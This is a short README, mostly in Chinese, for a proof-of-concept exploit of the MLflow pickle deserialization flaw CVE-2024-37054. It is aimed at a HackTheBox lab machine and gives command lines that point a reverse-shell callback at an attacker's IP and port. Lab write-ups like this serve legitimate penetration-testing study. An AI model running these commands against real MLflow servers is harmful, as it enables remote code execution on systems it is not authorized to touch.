CVE-2024-37054 的概念验证(PoC),这是 MLflow 0.9.0 至 2.14.1 版本中的一个严重反序列化漏洞。
当通过 mlflow.pyfunc.load_model() 加载恶意 pyfunc 模型时,pickle 载荷会执行任意代码。
exploit.py — 完整利用:注册、训练、上传、触发(适用于 HTB SmartHire 靶机)build_model.py — 在本地构建恶意模型(仅构建)python3 build_model.py --lhost YOUR_IP --lport 4444
# Auto register account and exploit
python3 exploit.py --lhost YOUR_IP --lport 4444 --atoz
# Use existing session
python3 exploit.py --lhost YOUR_IP --lport 4444 --session "eyJjb21w..."
仅供教育目的和授权渗透测试使用。